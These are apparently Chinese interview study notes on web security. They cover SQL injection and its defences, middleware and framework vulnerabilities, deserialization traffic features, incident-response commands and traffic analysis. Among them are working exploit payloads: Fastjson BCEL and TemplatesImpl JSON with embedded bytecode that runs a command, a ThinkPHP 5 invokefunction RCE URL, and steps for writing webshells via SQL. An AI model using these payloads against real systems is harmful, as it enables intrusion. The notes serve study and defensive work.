目录
由于笔者个人水平有限,行文如有不当,还请各位师傅评论指正,非常感谢
一、sql注入原理、分类、绕过
原理:产生sql注入漏洞主要因为没有对接受到的参数进行过滤、验证和处理直接拼接到了sql语句中,然后直接执行该sql语句,这样就会导致恶意用户传入一些精心构造的sql代码,与后台sql语句拼接后形成完整的sql语句执行,达到攻击者的目的。
分类:我们可以把sql注入直接的分为字符型和数字型,主要特点就是在进行sql注入的时候是否需要闭合传参的单引号,不需要闭合说明是数值型,反之就是字符型;还可以将sql注入分为有回显的注入和无回显的注入,无回显的注入又别称为盲注,盲注有三大类,布尔盲注、时间盲注以及报错盲注;根据sql注入各自的特点可以分为联合注入、二次注入、宽字节注入、堆叠注入等,根据http报文中的不同位置可以有cookie注入、referer注入、x-forwarded-for注入等。
绕过:大小写绕过 、编码绕过、注释绕过、关键字/关键函数替换、参数污染、缓存区溢出、特殊符号
SQL注入和sql-labs通关1-18(手工注入、高权限注入、文件读写、提交方式、查询方式、WAF绕过、sqlmap)__Cyber的博客-CSDN博客_mysql注入攻击与防御
二、报错注入用到的函数、原理
函数:updatexml、floor、exp
原理:updatexml()一共有三个参数,第一个是xml内容、第二个参数是update的位置XPATH路径、第三个参数是更新后的内容;这里报错的主要原理是利用第二个参数,当其校验输入的内容是否符合XPATH格式的时候,不符合就报错,我们将第二个参数替换为version()或者database()等等,因为不满足XPATH格式所以会输出错误,输出错误的时候将sql代码(verson()/database()等)执行了。
SQL注入漏洞(union + 盲注)__Cyber的博客-CSDN博客
三、sqlmap用过的tamper
如何防御sql注入
base64编码、url编码、双url编码、宽字节、使用/**/分割sql关键字、替换空格为xx
如何防御sql注入漏洞
1、在代码层面使用过滤函数正则表达式等对传入的参数进行一个过滤、检测、处理,使得传入的恶意数据无法按照预想方式执行
2、预编译sql语句
3、使用waf,安全狗,阿里云盾等waf进行防护
4、经常进行基线检查、漏洞扫描等工作
四、sql写shell条件/sqlmap写shell
条件:
1、sql写shell可以用到两个函数outfile和dumpfile可用(select into outfile不可写入二进制可执行文件,select into dumpfile 可写入二进制可执行文件)
2、关闭安全模式(需要数据库允许导出文件也就是secure_file_priv参数配置为空或者是目录地址,设置为NULL的时3、候不允许导出文件)
4、需要足够的权限
5、需要知道网站的绝对路径
6、GPC关闭可使用单引号
sqlmap --os-shell:
对于mysql数据库来说,--os-shell的本质就是写入两个php文件,其中tmpugvzq.php可以让我们上传文件到网站下,让我们命令执行,并将输出的内容返回sqlmap端,另一个返回可以让我们执行系统命令的命令行;简单的说就是先传小马再传自己的大马。
五、渗透思路
信息收集:
1、获取域名whois信息
2、服务器子域名、旁站、c段查询
3、服务器操作系统版本补丁状况、web中间件类型、版本、数据库类型等
4、服务器开放端口:22 ssh 80 web 445 3389.。。
漏洞扫描:
nessus,awvs ,appscan
漏洞验证:
是否存在漏洞,是否可以拿到webshell或者其他权限
权限提升:
1. windows内核溢出提权,数据库提权、组策略首选项提取、web中间件提权、dll劫持提权、第三方软件/服务提权
2. linux内核漏洞提权、劫持高权限程序提权、sudoer配置文件错误提权
漏洞利用
日志清理
六、中间件漏洞
iis:
远程代码执行
解析漏洞 目录以.asp结尾 xxx.asp;1.jpg
tomcat:
war包后门部署
远程代码执行
Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析__Cyber的博客-CSDN博客_tomcat8漏洞
apache:
解析漏洞 1.php%0a换行解析 1.php.xxx 未知后缀解析
SSI远程命令执行
路径穿越
Apache解析漏洞CVE-2017-15715、apache_parsing_vulnerability、CVE-2021-40438 vulhub复现分析__Cyber的博客-CSDN博客
nginx:
解析漏洞 1.jpg/.php
目录穿越 (nginx配置别名的时候alias的时候,忘记加/ 将造成目录穿越漏洞)
CRLF注入 (Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞)
jboss:
反序列化
war后门部署
weblogic:
反序列化
ssrf任意文件上传
文件读取
Weblogic弱口令和CVE-2020-14882漏洞分析__Cyber的博客-CSDN博客_weblogic 弱口令
七、序列化反序列化及其流量特征
序列化:对象转换为字符串
反序列化:字符串转换为对象
流量特征:
shiro反序列化:查看cookie中rememberme字段,恶意命令要从这里传入。判断是否有漏洞,查看返回包set cookie:rememberme=deleteme,验证失败返回的标识符。
fastjson反序列化:请求报文中查找json格式的数据,重点看有无rmi或者出网的一些行为
st2-045:请求头中的Content-Type字段
八、应急响应流程及windows/linux用到的命令
应急响应流程:
1、收集信息:搜集客户信息和中毒信息,备份
2、判断类型:判断是否是安全事件、是何种安全事件(勒索病毒、挖矿、断网、ddos等)
3、深入分析:日志分析、进程分析、启动项分析、样本分析
4、清理处置:杀掉恶意进程、删除恶意文件、打补丁、修复文件
5、产出报告:整理并输出完整的安全事件报告
windows应急
1)查看系统账号安全
1、查看服务器是否有弱口令、可疑账号、隐藏账号、克隆账号、远程管理端口是否对公网开放
2、win+r(eventwmr.msc)查看系统日志,查看管理员登录时间、用户名是否存在异常
2)检查异常端口、进程
1、netstat -ano 检查端口连接情况,是否有远程连接、可疑连接
2、tasklist | findstr "PID"根据pid定位进程
3、使用功能查杀工具
3)启动项检查、计划任务、服务
1、检查服务器是否有异常的启动项,msconfig看一下启动项是否有可以的启动
2、检查计划任务,查看计划任务属性,可以发现木马文件的路径
3、见擦汗服务自启动,services.msc注意服务状态和启动类型,检查是否有异常服务
4)检查系统相关信息
1、查看系统版本以及补丁信息 systeminfo
2、查找可以目录及文件 是否有新建用户目录 分析最近打开分析可疑文件(%UserProfile%\Recent)
5)自动化查杀
使用360 火绒剑 webshell后门可以使用d盾 河马等
6)日志分析
360星图日志分析工具 ELK分析平台
linux应急
1、检查用户及密码文件/etc/passwd、/etc/shadow 是否存在多余帐号,主要看一下帐号后面是否是 nologin,如果没有 nologin 就要注意;
2、通过 who 命令查看当前登录用户(tty 本地登陆 pts 远程登录)、w 命令查看系统信息,想知道某一时刻用户的行为、uptime查看登陆多久、多少用户,负载;
3、修改/etc/profile的文件,在尾部添加相应显示间、日期、ip、命令脚本代码,这样输入history命令就会详细显示攻击者 ip、时间历史命令等;
4、用 netstat -antlp|more命令分析可疑端口、IP、PID,查看下 pid 所对应的进程文件路径,运行ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的pid 号);
5、使用ps命令,分析进程 ps aux | grep pid
6、使用 vi /etc/inittab 查看系统当前运行级别,通过运行级别找到/etc/rc.d/rc[0~6].d对应目录是否存在可疑文件;
7、看一下crontab定时任务是否存在可疑启用脚本;
8、使用chkconfig --list 查看是否存在可疑服务;
9、通过grep awk命令分析/var/log/secure安全日志里面是否存在攻击痕迹;
10、chkrootkit、rkhunter、Clamav 病毒后门查杀工具对 Linux 系统文件查杀;
11、如果有 Web 站点,可通过 D 盾、河马查杀工具进行查杀或者手工对代码按脚本木马关键字、关键涵数(evel、system、shell_exec、exec、passthru system、popen)进行查杀Webshell 后门。
九、流量分析
拿到流量包后将其导入wireshark中,使用过滤规则对流量包进行分析,常用的过滤规则有:
http contains "关键字"
http.response.code == 200
http.request.method == POST
tcp.prot == 80
ip.addr == "10.1.1.1"
ip.src
ip.dst
Wireshark基本使用方法__Cyber的博客-CSDN博客_wireshark使用流程
十、Behinder流量特征
冰蝎是一款基于java开发的动态加密通信流量的新型webshell客户端,冰蝎的通信过程可以分为两个阶段:秘钥协商 加密传输
冰蝎2:ua头比较老,虽然内置了10余种,每次连接shell都会随机选择一个进行使用,由于比较老,容易被检测出来
content-length:16 #16是冰蝎2连接的特征
冰蝎3:冰蝎3取消了动态秘钥获取 accept头有application/xhtml+xmlapplication/xmlapplication/signed-exchange属于弱特征
ua头版本老:冰蝎3内置16个ua头都比较老,现实生活中使用较少。
十一、天眼基本搜索语法
sip:"10.1.1.1" AND dip:"10.1.1.2" AND status:(200)
#10.1.1.1访问服务器10.1.1.2状态码为200的流量日志
dport:"443" OR dport:"8080
#访问端口是443或者8080的流量日志
dport:"80" NOT host:"www.example.com"
#访问端口为80,排除访问www.example.com域名的流量日志
dip:"10.1.1.2" AND client_os:"windows7"
#服务器ip为10.1.1.2,操作系统为windows7的流量日志
处置方案:
传感器上出现sql注入告警后
1、验证此条sql注入告警是否真的存在sql注入漏洞
2、通过请求数据包判断触发告警的行为是客户自身还是攻击行为
3、若为自身业务问题,则将漏洞点相关整合成报告反馈客户
4若为攻击者行为,需要进一步分析,查看分析平台攻击ip除了sql注入外是否有其他攻击行为,攻击的结果如何
5、将发现时间及攻击行为反馈给护网客户
传感器上出现RCE告警
1、验证此条警告师傅真的成功(若成功直接出报告)
2、若失败,判断攻击者是手工还是工具批量扫描行为
3、进入分析平台进一步分析,查看分析平台攻击ip除了rce是否有其他攻击行为,攻击结果如何
4、将发现时间及攻击行为反馈给护网
十二、fastjson反序列化
fastjson1.2.24反序列化漏洞原理:
1、fastjson提供的反序列化功能允许用户传入json格式数据局的时候通过@type的value值指定任意反序列化类名
2、fastjson的反序列化机制会将反序列的类进行实例化对象,并调用该对象的setter和部分getter方法
3、恶意用户可以构造payload是目标应用的代码执行流程进入这部分setter和getter方法,如果这些方法中存在Gadget,就会造成一些安全问题。
4、官方采取黑名单过滤的方法,对反序列化的类名进行校验,checkAutoType不断被绕过
fastjson利用流程:
使用@type的value字段执行反序列化的类,例如JdbcRowSetImpl这个类,接着将这个类中的成员变量datasourcename的value值设为rmi远程加载类,这样fastjson在将传入的类反序列化、实例对象后,会通过成员变量传入的value值,请求rmi服务器,最后rmi返回远程类,fastjson执行这个远程恶意类。导致rce漏洞。
fastjson反序列化的特征:
在请求包中查找json格式的字符串,重点在于rmi和一些出网操作
Fastjson反序列化漏洞(1.2.24 RCE)__Cyber的博客-CSDN博客_fastjson反序列化漏洞
十三、fastjson不出网利用
1、基于BasicDataSource类
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
条件:BasicDataSource需要有dbcp或者tomcat-dbcp的依赖
利用过程:使用BasicDataSource链,构造恶意类后将其的字节码转化为BCEL格式,其中driverClassName和driverClassLoader都是可控的,由用户输入,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL..这种格式,字啊newInstance方法执行后被实例化,第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。
{
"@type":"java.lang.Class",
"val":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7d$91$cfN$C1$Q$c6$bf$c2$$$c5$ba$C$o$e2$3fD$b8$n$HI$bcJ$bc$YM$d0U$P$Q$8e$seidq$dd$dd$y$8b$f1$8d$3csQ$e3$c1$H$f0$a1$8c$b3$F5$5el$d2$99$ce7$9d_$a7$ed$c7$e7$db$3b$80C$d4$F$b2$d801$li$81Mlql$L$98$d8$e1$a8p$ec2d$da$ae$ef$c6$c7$M$e9$c6$7e$9f$c18$J$86$8a$no$bb$be$ba$9a$de$PT$d4$93$D$8f$94$a2$j8$d2$eb$cb$c8M$e2$85h$c4$pw$c2$c0$ed$89$a7Tx$c4$90m$3b$de$82$c7$u_$b3$c7$f2A$b6$3c$e9$df$b6$3a$7e$ac$a2h$g$c6jx$fa$e8$a80v$D$9f$wV$ba$b1t$ee$$e$a8$91$d4$j$83$e8$G$d3$c8Qgnr$84$d0$e8$83$84ca$J$82$a3j$a1$82$3d$86$ea$ffl$L5$I$GS$d73$U$7ew_$P$c6$ca$89$ffH$bdQ$a4$e4$90$$$d48O$5e$n$lF$ae$l$eb$cez$91t$U$ea$e0$f4$94$c9H$81$rm$90$5d$a6$a8E$9e$917$9b$_$603$9d$b6$c8f$b4H$97$pk$cd7$m$87$3c$f9$y$K$3f$c57$g$G$e4KH$bd$c2xB$f6$a2$f9$8c$ccL$8b$Z$3a$c5DZ$e3$caH$fe$d0$m$8dkU$d0$wG$a8o$bc$a0$dc$w$8a$U$ad$d1$e4Hu8J$G$r$d6uG$e5$_$H$X$vT$R$C$A$A"}
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class Test {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Exp.class);
String code = Utility.encode(cls.getBytes(), true);
code = "$$BCEL$$" + code;
new ClassLoader().loadClass(code).newInstance();
System.out.println(code);
}
}
2.基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类
条件:Feaure.SupportNonPublicField开启,默认是关闭状态
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}
十四、shiro550反序列化
原理:导致shiro反序列化的主要原因就是shiro提供的记住密码功能,当用户打开这个功能时会在请求阿包中生成一个cookie,cookie的value值是经过反序列->aes加密->base64加密后的字符串,关键在于aes加密的秘钥是默认的,如果没有修改这个秘钥,就会导致反序列化漏洞,攻击者可以构造恶意代码,将恶意代码序列化-aes加密-base64加密后传入cookie,这样就导致RCE漏洞。
特征:shiro是一个身份验证组件,一般用在登录模块,登录失败会有一个失败标识rememberme=deleteme,如果返回包中存在该字段则说明可能存在反序列化漏洞。
十五、log4j漏洞
原理:log4j2框架下的lookup服务提供了{}字段解析功能,传进去的值会被直接解析,JNDI服务会请求远程服务来链接本地对象,这时候只用在{}里面调用JNDI服务即可反弹shell到指定服务器
特征:数据包里有{jndi:ladp//}字段
CVE-2021-44228 Log4j 远程代码执行漏洞——原理__Cyber的博客-CSDN博客_log4j漏洞
十六、中挖矿病毒怎么解决
首先ps -aux查看进程分析
然后top 分析算力,挖矿用到的算力比较多,对流量进行过滤,含有矿池服务器的流量就是挖矿病毒
最后kill进程,rm掉程序
删不掉这么办
先下线,然后检查挖矿是否有在内网传播及时下线所有被传播的主机、上机排查攻击痕迹、一般可以从cpu占用情况,可以进程、开放端口、计划任务、服务项几个方面排查
将样本上传到在线分析平台,清除挖矿主程序主要就是双向封禁矿池地址、删除计划任务自启动、删服务,结束恶意进程、删病毒
删不掉:确认一下一下是因为程序在使用,还是权限不够,更具具体情况采取措施
直接降权,降权到没有执行权限
十七、weblogic xml反序列化
原理:xml反序列化,这是wls security组件对外提供的webserver页面,通过xmlDecoder功能来解析用户的xml数据导致的任意字符串被当做代码去执行
特征:服务器开放7001端口 传递xml数到wls-wsat 数据包内容有bash或者dnslog字段。
十八、框架漏洞
stu2
stu2-045:
Struts2默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 类对上传数据进行解析.JakartaMultiPartRequest类在处理Content-Type时如果获得非预期的值的话,将会抛出一个异常,对这个异常的处理会对错误信息进行OGNL表达式解析,从而造成了恶意代码执行
stu-061
检测思路
在新版本的struts2中,已经不能通过参数构造来解析ognl表达式了,所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候,可以考虑直接爆破所有参数,然后判断页面中是否有预计的结果文本即可。
比如:
%{ ‘gcowsec-‘ + (2000 + 20).toString()}
预计会得到
gcowsec-2020
使用脚本判断结果中是否包含就可以了
此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。
stu-057
漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生
利用条件
alwaysSelectFullNamespace被设置为true,此时namespace的值是从URL中获取的。URL是可控的,所以namespace也是可控的。
action元素没有名称空间属性集,或者使用通配符。该名称空间将由用户从URL传递并解析为OGNL表达式,最终导致远程代码执行的脆弱性
thinkphp
RCE
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
SQL注入
漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
index.php?ids[]=1&ids[]=2
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
return 'select success';
}
}